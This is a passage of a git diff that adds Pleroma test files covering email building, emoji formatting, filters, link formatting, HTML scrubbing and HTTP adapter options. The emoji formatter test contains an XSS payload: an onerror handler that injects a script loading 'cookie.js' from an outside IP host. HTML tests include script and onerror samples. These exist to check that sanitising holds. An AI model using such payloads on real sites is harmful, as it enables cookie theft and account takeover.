@email, []) + :timer.sleep(100) + + assert_email_sent( + from: {"Pleroma", "noreply@example.com"}, + to: [{"Test User", "user1@example.com"}], + html_body: "Test email", + subject: "Pleroma test email" + ) + end +end diff --git a/test/pleroma/emails/user_email_test.exs b/test/pleroma/emails/user_email_test.exs new file mode 100644 index 000000000..a75623bb4 --- /dev/null +++ b/test/pleroma/emails/user_email_test.exs @@ -0,0 +1,48 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emails.UserEmailTest do + use Pleroma.DataCase + + alias Pleroma.Emails.UserEmail + alias Pleroma.Web.Endpoint + alias Pleroma.Web.Router + + import Pleroma.Factory + + test "build password reset email" do + config = Pleroma.Config.get(:instance) + user = insert(:user) + email = UserEmail.password_reset_email(user, "test_token") + assert email.from == {config[:name], config[:notify_email]} + assert email.to == [{user.name, user.email}] + assert email.subject == "Password reset" + assert email.html_body =~ Router.Helpers.reset_password_url(Endpoint, :reset, "test_token") + end + + test "build user invitation email" do + config = Pleroma.Config.get(:instance) + user = insert(:user) + token = %Pleroma.UserInviteToken{token: "test-token"} + email = UserEmail.user_invitation_email(user, token, "test@test.com", "Jonh") + assert email.from == {config[:name], config[:notify_email]} + assert email.subject == "Invitation to Pleroma" + assert email.to == [{"Jonh", "test@test.com"}] + + assert email.html_body =~ + Router.Helpers.redirect_url(Endpoint, :registration_page, token.token) + end + + test "build account confirmation email" do + config = Pleroma.Config.get(:instance) + user = insert(:user, confirmation_token: "conf-token") + email = UserEmail.account_confirmation_email(user) + assert email.from == {config[:name], config[:notify_email]} + assert email.to == [{user.name, user.email}] + assert email.subject == "#{config[:name]} account confirmation" + + assert email.html_body =~ + Router.Helpers.confirm_email_url(Endpoint, :confirm_email, user.id, "conf-token") + end +end diff --git a/test/pleroma/emoji/formatter_test.exs b/test/pleroma/emoji/formatter_test.exs new file mode 100644 index 000000000..12af6cd8b --- /dev/null +++ b/test/pleroma/emoji/formatter_test.exs @@ -0,0 +1,49 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.FormatterTest do + alias Pleroma.Emoji.Formatter + use Pleroma.DataCase + + describe "emojify" do + test "it adds cool emoji" do + text = "I love :firefox:" + + expected_result = + "I love \"firefox\"" + + assert Formatter.emojify(text) == expected_result + end + + test "it does not add XSS emoji" do + text = + "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + + custom_emoji = + { + "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)", + "https://placehold.it/1x1" + } + |> Pleroma.Emoji.build() + + refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text + end + end + + describe "get_emoji_map" do + test "it returns the emoji used in the text" do + assert Formatter.get_emoji_map("I love :firefox:") == %{ + "firefox" => "http://localhost:4001/emoji/Firefox.gif" + } + end + + test "it returns a nice empty result when no emojis are present" do + assert Formatter.get_emoji_map("I love moominamma") == %{} + end + + test "it doesn't die when text is absent" do + assert Formatter.get_emoji_map(nil) == %{} + end + end +end diff --git a/test/pleroma/emoji/loader_test.exs b/test/pleroma/emoji/loader_test.exs new file mode 100644 index 000000000..804039e7e --- /dev/null +++ b/test/pleroma/emoji/loader_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.LoaderTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Loader + + describe "match_extra/2" do + setup do + groups = [ + "list of files": ["/emoji/custom/first_file.png", "/emoji/custom/second_file.png"], + "wildcard folder": "/emoji/custom/*/file.png", + "wildcard files": "/emoji/custom/folder/*.png", + "special file": "/emoji/custom/special.png" + ] + + {:ok, groups: groups} + end + + test "config for list of files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/first_file.png") + |> to_string() + + assert group == "list of files" + end + + test "config with wildcard folder", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard folder and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/some_folder/another_folder/file.png") + |> to_string() + + assert group == "wildcard folder" + end + + test "config with wildcard files", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config with wildcard files and subfolders", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/folder/another_folder/some_file.png") + |> to_string() + + assert group == "wildcard files" + end + + test "config for special file", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/custom/special.png") + |> to_string() + + assert group == "special file" + end + + test "no mathing returns nil", %{groups: groups} do + group = + groups + |> Loader.match_extra("/emoji/some_undefined.png") + + refute group + end + end +end diff --git a/test/pleroma/emoji_test.exs b/test/pleroma/emoji_test.exs new file mode 100644 index 000000000..1dd3c58c6 --- /dev/null +++ b/test/pleroma/emoji_test.exs @@ -0,0 +1,43 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.EmojiTest do + use ExUnit.Case + alias Pleroma.Emoji + + describe "is_unicode_emoji?/1" do + test "tells if a string is an unicode emoji" do + refute Emoji.is_unicode_emoji?("X") + assert Emoji.is_unicode_emoji?("☂") + assert Emoji.is_unicode_emoji?("🥺") + end + end + + describe "get_all/0" do + setup do + emoji_list = Emoji.get_all() + {:ok, emoji_list: emoji_list} + end + + test "first emoji", %{emoji_list: emoji_list} do + [emoji | _others] = emoji_list + {code, %Emoji{file: path, tags: tags}} = emoji + + assert tuple_size(emoji) == 2 + assert is_binary(code) + assert is_binary(path) + assert is_list(tags) + end + + test "random emoji", %{emoji_list: emoji_list} do + emoji = Enum.random(emoji_list) + {code, %Emoji{file: path, tags: tags}} = emoji + + assert tuple_size(emoji) == 2 + assert is_binary(code) + assert is_binary(path) + assert is_list(tags) + end + end +end diff --git a/test/pleroma/filter_test.exs b/test/pleroma/filter_test.exs new file mode 100644 index 000000000..0a5c4426a --- /dev/null +++ b/test/pleroma/filter_test.exs @@ -0,0 +1,158 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FilterTest do + use Pleroma.DataCase + + import Pleroma.Factory + + alias Pleroma.Filter + alias Pleroma.Repo + + describe "creating filters" do + test "creating one filter" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + filter_id: 42, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter} = Filter.create(query) + result = Filter.get(filter.filter_id, user) + assert query.phrase == result.phrase + end + + test "creating one filter without a pre-defined filter_id" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter} = Filter.create(query) + # Should start at 1 + assert filter.filter_id == 1 + end + + test "creating additional filters uses previous highest filter_id + 1" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 42, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter_one} = Filter.create(query_one) + + query_two = %Filter{ + user_id: user.id, + # No filter_id + phrase: "who", + context: ["home"] + } + + {:ok, %Filter{} = filter_two} = Filter.create(query_two) + assert filter_two.filter_id == filter_one.filter_id + 1 + end + + test "filter_id is unique per user" do + user_one = insert(:user) + user_two = insert(:user) + + query_one = %Filter{ + user_id: user_one.id, + phrase: "knights", + context: ["home"] + } + + {:ok, %Filter{} = filter_one} = Filter.create(query_one) + + query_two = %Filter{ + user_id: user_two.id, + phrase: "who", + context: ["home"] + } + + {:ok, %Filter{} = filter_two} = Filter.create(query_two) + + assert filter_one.filter_id == 1 + assert filter_two.filter_id == 1 + + result_one = Filter.get(filter_one.filter_id, user_one) + assert result_one.phrase == filter_one.phrase + + result_two = Filter.get(filter_two.filter_id, user_two) + assert result_two.phrase == filter_two.phrase + end + end + + test "deleting a filter" do + user = insert(:user) + + query = %Filter{ + user_id: user.id, + filter_id: 0, + phrase: "knights", + context: ["home"] + } + + {:ok, _filter} = Filter.create(query) + {:ok, filter} = Filter.delete(query) + assert is_nil(Repo.get(Filter, filter.filter_id)) + end + + test "getting all filters by an user" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + query_two = %Filter{ + user_id: user.id, + filter_id: 2, + phrase: "who", + context: ["home"] + } + + {:ok, filter_one} = Filter.create(query_one) + {:ok, filter_two} = Filter.create(query_two) + filters = Filter.get_filters(user) + assert filter_one in filters + assert filter_two in filters + end + + test "updating a filter" do + user = insert(:user) + + query_one = %Filter{ + user_id: user.id, + filter_id: 1, + phrase: "knights", + context: ["home"] + } + + changes = %{ + phrase: "who", + context: ["home", "timeline"] + } + + {:ok, filter_one} = Filter.create(query_one) + {:ok, filter_two} = Filter.update(filter_one, changes) + + assert filter_one != filter_two + assert filter_two.phrase == changes.phrase + assert filter_two.context == changes.context + end +end diff --git a/test/pleroma/following_relationship_test.exs b/test/pleroma/following_relationship_test.exs new file mode 100644 index 000000000..17a468abb --- /dev/null +++ b/test/pleroma/following_relationship_test.exs @@ -0,0 +1,47 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FollowingRelationshipTest do + use Pleroma.DataCase + + alias Pleroma.FollowingRelationship + alias Pleroma.Web.ActivityPub.InternalFetchActor + alias Pleroma.Web.ActivityPub.Relay + + import Pleroma.Factory + + describe "following/1" do + test "returns following addresses without internal.fetch" do + user = insert(:user) + fetch_actor = InternalFetchActor.get_actor() + FollowingRelationship.follow(fetch_actor, user, :follow_accept) + assert FollowingRelationship.following(fetch_actor) == [user.follower_address] + end + + test "returns following addresses without relay" do + user = insert(:user) + relay_actor = Relay.get_actor() + FollowingRelationship.follow(relay_actor, user, :follow_accept) + assert FollowingRelationship.following(relay_actor) == [user.follower_address] + end + + test "returns following addresses without remote user" do + user = insert(:user) + actor = insert(:user, local: false) + FollowingRelationship.follow(actor, user, :follow_accept) + assert FollowingRelationship.following(actor) == [user.follower_address] + end + + test "returns following addresses with local user" do + user = insert(:user) + actor = insert(:user, local: true) + FollowingRelationship.follow(actor, user, :follow_accept) + + assert FollowingRelationship.following(actor) == [ + actor.follower_address, + user.follower_address + ] + end + end +end diff --git a/test/pleroma/formatter_test.exs b/test/pleroma/formatter_test.exs new file mode 100644 index 000000000..f066bd50a --- /dev/null +++ b/test/pleroma/formatter_test.exs @@ -0,0 +1,312 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.FormatterTest do + alias Pleroma.Formatter + alias Pleroma.User + use Pleroma.DataCase + + import Pleroma.Factory + + setup_all do + clear_config(Pleroma.Formatter) + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe ".add_hashtag_links" do + test "turns hashtags into links" do + text = "I love #cofe and #2hu" + + expected_text = + ~s(I love #cofe and #2hu) + + assert {^expected_text, [], _tags} = Formatter.linkify(text) + end + + test "does not turn html characters to tags" do + text = "#fact_3: pleroma does what mastodon't" + + expected_text = + ~s(#fact_3: pleroma does what mastodon't) + + assert {^expected_text, [], _tags} = Formatter.linkify(text) + end + end + + describe ".add_links" do + test "turning urls into links" do + text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ." + + expected = + ~S(Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla .) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://mastodon.social/@lambadalambda" + + expected = + ~S(https://mastodon.social/@lambadalambda) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://mastodon.social:4000/@lambadalambda" + + expected = + ~S(https://mastodon.social:4000/@lambadalambda) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "@lambadalambda" + expected = "@lambadalambda" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "http://www.cs.vu.nl/~ast/intel/" + + expected = + ~S(http://www.cs.vu.nl/~ast/intel/) + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" + + expected = + "https://forum.zdoom.org/viewtopic.php?f=44&t=57087" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" + + expected = + "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://www.google.co.jp/search?q=Nasim+Aghdam" + + expected = + "https://www.google.co.jp/search?q=Nasim+Aghdam" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://en.wikipedia.org/wiki/Duff's_device" + + expected = + "https://en.wikipedia.org/wiki/Duff's_device" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "https://pleroma.com https://pleroma.com/sucks" + + expected = + "https://pleroma.com https://pleroma.com/sucks" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = "xmpp:contact@hacktivis.me" + + expected = "xmpp:contact@hacktivis.me" + + assert {^expected, [], []} = Formatter.linkify(text) + + text = + "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com" + + expected = "#{text}" + + assert {^expected, [], []} = Formatter.linkify(text) + end + end + + describe "Formatter.linkify" do + test "correctly finds mentions that contain the domain name" do + _user = insert(:user, %{nickname: "lain"}) + _remote_user = insert(:user, %{nickname: "lain@lain.com", local: false}) + + text = "hey @lain@lain.com what's up" + + {_text, mentions, []} = Formatter.linkify(text) + [{username, user}] = mentions + + assert username == "@lain@lain.com" + assert user.nickname == "lain@lain.com" + end + + test "gives a replacement for user links, using local nicknames in user links text" do + text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me" + gsimg = insert(:user, %{nickname: "gsimg"}) + + archaeme = + insert(:user, + nickname: "archa_eme_", + uri: "https://archeme/@archa_eme_" + ) + + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 3 + + expected_text = + ~s(@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme) + + assert expected_text == text + end + + test "gives a replacement for user links when the user is using Osada" do + {:ok, mike} = User.get_or_fetch("mike@osada.macgirvin.com") + + text = "@mike@osada.macgirvin.com test" + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 1 + + expected_text = + ~s(@mike test) + + assert expected_text == text + end + + test "gives a replacement for single-character local nicknames" do + text = "@o hi" + o = insert(:user, %{nickname: "o"}) + + {text, mentions, []} = Formatter.linkify(text) + + assert length(mentions) == 1 + + expected_text = + ~s(@o hi) + + assert expected_text == text + end + + test "does not give a replacement for single-character local nicknames who don't exist" do + text = "@a hi" + + expected_text = "@a hi" + assert {^expected_text, [] = _mentions, [] = _tags} = Formatter.linkify(text) + end + + test "given the 'safe_mention' option, it will only mention people in the beginning" do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + text = " @#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}" + {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) + + assert mentions == [{"@#{user.nickname}", user}, {"@#{other_user.nickname}", other_user}] + + assert expected_text == + ~s(@#{user.nickname} @#{other_user.nickname} hey dudes i hate @#{third_user.nickname}) + end + + test "given the 'safe_mention' option, it will still work without any mention" do + text = "A post without any mention" + {expected_text, mentions, [] = _tags} = Formatter.linkify(text, safe_mention: true) + + assert mentions == [] + assert expected_text == text + end + + test "given the 'safe_mention' option, it will keep text after newlines" do + user = insert(:user) + text = " @#{user.nickname}\n hey dude\n\nhow are you doing?" + + {expected_text, _, _} = Formatter.linkify(text, safe_mention: true) + + assert expected_text =~ "how are you doing?" + end + + test "it can parse mentions and return the relevant users" do + text = + "@@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me and @o and @@@jimm" + + o = insert(:user, %{nickname: "o"}) + jimm = insert(:user, %{nickname: "jimm"}) + gsimg = insert(:user, %{nickname: "gsimg"}) + archaeme = insert(:user, %{nickname: "archaeme"}) + archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"}) + + expected_mentions = [ + {"@archaeme", archaeme}, + {"@archaeme@archae.me", archaeme_remote}, + {"@gsimg", gsimg}, + {"@jimm", jimm}, + {"@o", o} + ] + + assert {_text, ^expected_mentions, []} = Formatter.linkify(text) + end + + test "it parses URL containing local mention" do + _user = insert(:user, %{nickname: "lain"}) + + text = "https://example.com/@lain" + + expected = ~S(https://example.com/@lain) + + assert {^expected, [], []} = Formatter.linkify(text) + end + + test "it correctly parses angry face D:< with mention" do + lain = + insert(:user, %{ + nickname: "lain@lain.com", + ap_id: "https://lain.com/users/lain", + id: "9qrWmR0cKniB0YU0TA" + }) + + text = "@lain@lain.com D:<" + + expected_text = + ~S(@lain D:<) + + expected_mentions = [ + {"@lain@lain.com", lain} + ] + + assert {^expected_text, ^expected_mentions, []} = Formatter.linkify(text) + end + end + + describe ".parse_tags" do + test "parses tags in the text" do + text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。" + + expected_tags = [ + {"#Test", "test"}, + {"#working", "working"}, + {"#は", "は"}, + {"#漢字", "漢字"} + ] + + assert {_text, [], ^expected_tags} = Formatter.linkify(text) + end + end + + test "it escapes HTML in plain text" do + text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" + expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" + + assert Formatter.html_escape(text, "text/plain") == expected + end +end diff --git a/test/pleroma/healthcheck_test.exs b/test/pleroma/healthcheck_test.exs new file mode 100644 index 000000000..e341e6983 --- /dev/null +++ b/test/pleroma/healthcheck_test.exs @@ -0,0 +1,33 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HealthcheckTest do + use Pleroma.DataCase + alias Pleroma.Healthcheck + + test "system_info/0" do + result = Healthcheck.system_info() |> Map.from_struct() + + assert Map.keys(result) == [ + :active, + :healthy, + :idle, + :job_queue_stats, + :memory_used, + :pool_size + ] + end + + describe "check_health/1" do + test "pool size equals active connections" do + result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 10}) + refute result.healthy + end + + test "chech_health/1" do + result = Healthcheck.check_health(%Healthcheck{pool_size: 10, active: 9}) + assert result.healthy + end + end +end diff --git a/test/pleroma/html_test.exs b/test/pleroma/html_test.exs new file mode 100644 index 000000000..7d3756884 --- /dev/null +++ b/test/pleroma/html_test.exs @@ -0,0 +1,255 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTMLTest do + alias Pleroma.HTML + alias Pleroma.Object + alias Pleroma.Web.CommonAPI + use Pleroma.DataCase + + import Pleroma.Factory + + @html_sample """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ + """ + + @html_onerror_sample """ + + """ + + @html_span_class_sample """ + hi + """ + + @html_span_microformats_sample """ + @foo + """ + + @html_span_invalid_microformats_sample """ + @foo + """ + + describe "StripTags scrubber" do + test "works as expected" do + expected = """ + this is in bold + this is a paragraph + this is a linebreak + this is a link with allowed "rel" attribute: example.com + this is a link with not allowed "rel" attribute: example.com + this is an image: + alert('hacked') + """ + + assert expected == HTML.strip_tags(@html_sample) + end + + test "does not allow attribute-based XSS" do + expected = "\n" + + assert expected == HTML.strip_tags(@html_onerror_sample) + end + end + + describe "TwitterText scrubber" do + test "normalizes HTML as expected" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does not allow attribute-based XSS" do + expected = """ + + """ + + assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does not allow spans with invalid classes" do + expected = """ + hi + """ + + assert expected == + HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "does allow microformats" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.TwitterText) + end + + test "filters invalid microformats markup" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags( + @html_span_invalid_microformats_sample, + Pleroma.HTML.Scrubber.TwitterText + ) + end + end + + describe "default scrubber" do + test "normalizes HTML as expected" do + expected = """ + this is in bold +

this is a paragraph

+ this is a linebreak
+ this is a link with allowed "rel" attribute: + this is a link with not allowed "rel" attribute: example.com + this is an image:
+ alert('hacked') + """ + + assert expected == HTML.filter_tags(@html_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does not allow attribute-based XSS" do + expected = """ + + """ + + assert expected == HTML.filter_tags(@html_onerror_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does not allow spans with invalid classes" do + expected = """ + hi + """ + + assert expected == HTML.filter_tags(@html_span_class_sample, Pleroma.HTML.Scrubber.Default) + end + + test "does allow microformats" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags(@html_span_microformats_sample, Pleroma.HTML.Scrubber.Default) + end + + test "filters invalid microformats markup" do + expected = """ + @foo + """ + + assert expected == + HTML.filter_tags( + @html_span_invalid_microformats_sample, + Pleroma.HTML.Scrubber.Default + ) + end + end + + describe "extract_first_external_url_from_object" do + test "extracts the url" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "I think I just found the best github repo https://github.com/komeiji-satori/Dress" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + assert url == "https://github.com/komeiji-satori/Dress" + end + + test "skips mentions" do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "@#{other_user.nickname} install misskey! https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://github.com/syuilo/misskey/blob/develop/docs/setup.en.md" + + refute url == other_user.ap_id + end + + test "skips hashtags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + end + + test "skips microformats hashtags" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "#cofe https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140", + content_type: "text/html" + }) + + object = Object.normalize(activity) + {:ok, url} = HTML.extract_first_external_url_from_object(object) + + assert url == "https://www.pixiv.net/member_illust.php?mode=medium&illust_id=72255140" + end + + test "does not crash when there is an HTML entity in a link" do + user = insert(:user) + + {:ok, activity} = CommonAPI.post(user, %{status: "\"http://cofe.com/?boomer=ok&foo=bar\""}) + + object = Object.normalize(activity) + + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) + end + + test "skips attachment links" do + user = insert(:user) + + {:ok, activity} = + CommonAPI.post(user, %{ + status: + "image.png" + }) + + object = Object.normalize(activity) + + assert {:ok, nil} = HTML.extract_first_external_url_from_object(object) + end + end +end diff --git a/test/pleroma/http/adapter_helper/gun_test.exs b/test/pleroma/http/adapter_helper/gun_test.exs new file mode 100644 index 000000000..80589c73d --- /dev/null +++ b/test/pleroma/http/adapter_helper/gun_test.exs @@ -0,0 +1,84 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelper.GunTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + + import Mox + + alias Pleroma.Config + alias Pleroma.HTTP.AdapterHelper.Gun + + setup :verify_on_exit! + + describe "options/1" do + setup do: clear_config([:http, :adapter], a: 1, b: 2) + + test "https url with default port" do + uri = URI.parse("https://example.com") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https ipv4 with default port" do + uri = URI.parse("https://127.0.0.1") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https ipv6 with default port" do + uri = URI.parse("https://[2a03:2880:f10c:83:face:b00c:0:25de]") + + opts = Gun.options([receive_conn: false], uri) + assert opts[:certificates_verification] + end + + test "https url with non standart port" do + uri = URI.parse("https://example.com:115") + + opts = Gun.options([receive_conn: false], uri) + + assert opts[:certificates_verification] + end + + test "merges with defaul http adapter config" do + defaults = Gun.options([receive_conn: false], URI.parse("https://example.com")) + assert Keyword.has_key?(defaults, :a) + assert Keyword.has_key?(defaults, :b) + end + + test "parses string proxy host & port" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], "localhost:8123") + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false], uri) + assert opts[:proxy] == {'localhost', 8123} + end + + test "parses tuple proxy scheme host and port" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], {:socks, 'localhost', 1234}) + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false], uri) + assert opts[:proxy] == {:socks, 'localhost', 1234} + end + + test "passed opts have more weight than defaults" do + proxy = Config.get([:http, :proxy_url]) + Config.put([:http, :proxy_url], {:socks5, 'localhost', 1234}) + on_exit(fn -> Config.put([:http, :proxy_url], proxy) end) + uri = URI.parse("https://some-domain.com") + opts = Gun.options([receive_conn: false, proxy: {'example.com', 4321}], uri) + + assert opts[:proxy] == {'example.com', 4321} + end + end +end diff --git a/test/pleroma/http/adapter_helper/hackney_test.exs b/test/pleroma/http/adapter_helper/hackney_test.exs new file mode 100644 index 000000000..f2361ff0b --- /dev/null +++ b/test/pleroma/http/adapter_helper/hackney_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelper.HackneyTest do + use ExUnit.Case, async: true + use Pleroma.Tests.Helpers + + alias Pleroma.HTTP.AdapterHelper.Hackney + + setup_all do + uri = URI.parse("http://domain.com") + {:ok, uri: uri} + end + + describe "options/2" do + setup do: clear_config([:http, :adapter], a: 1, b: 2) + + test "add proxy and opts from config", %{uri: uri} do + opts = Hackney.options([proxy: "localhost:8123"], uri) + + assert opts[:a] == 1 + assert opts[:b] == 2 + assert opts[:proxy] == "localhost:8123" + end + + test "respect connection opts and no proxy", %{uri: uri} do + opts = Hackney.options([a: 2, b: 1], uri) + + assert opts[:a] == 2 + assert opts[:b] == 1 + refute Keyword.has_key?(opts, :proxy) + end + end +end diff --git a/test/pleroma/http/adapter_helper_test.exs b/test/pleroma/http/adapter_helper_test.exs new file mode 100644 index 000000000..24d501ad5 --- /dev/null +++ b/test/pleroma/http/adapter_helper_test.exs @@ -0,0 +1,28 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.AdapterHelperTest do + use ExUnit.Case, async: true + + alias Pleroma.HTTP.AdapterHelper + + describe "format_proxy/1" do + test "with nil" do + assert AdapterHelper.format_proxy(nil) == nil + end + + test "with string" do + assert AdapterHelper.format_proxy("127.0.0.1:8123") == {{127, 0, 0, 1}, 8123} + end + + test "localhost with port" do + assert AdapterHelper.format_proxy("localhost:8123") == {'localhost', 8123} + end + + test "tuple" do + assert AdapterHelper.format_proxy({:socks4, :localhost, 9050}) == + {:socks4, 'localhost', 9050} + end + end +end diff --git a/test/pleroma/http/request_builder_test.exs b/test/pleroma/http/request_builder_test.exs new file mode 100644 index 000000000..fab909905 --- /dev/null +++ b/test/pleroma/http/request_builder_test.exs @@ -0,0 +1,85 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.HTTP.RequestBuilderTest do + use ExUnit.Case + use Pleroma.Tests.Helpers + alias Pleroma.HTTP.Request + alias Pleroma.HTTP.RequestBuilder + + describe "headers/2" 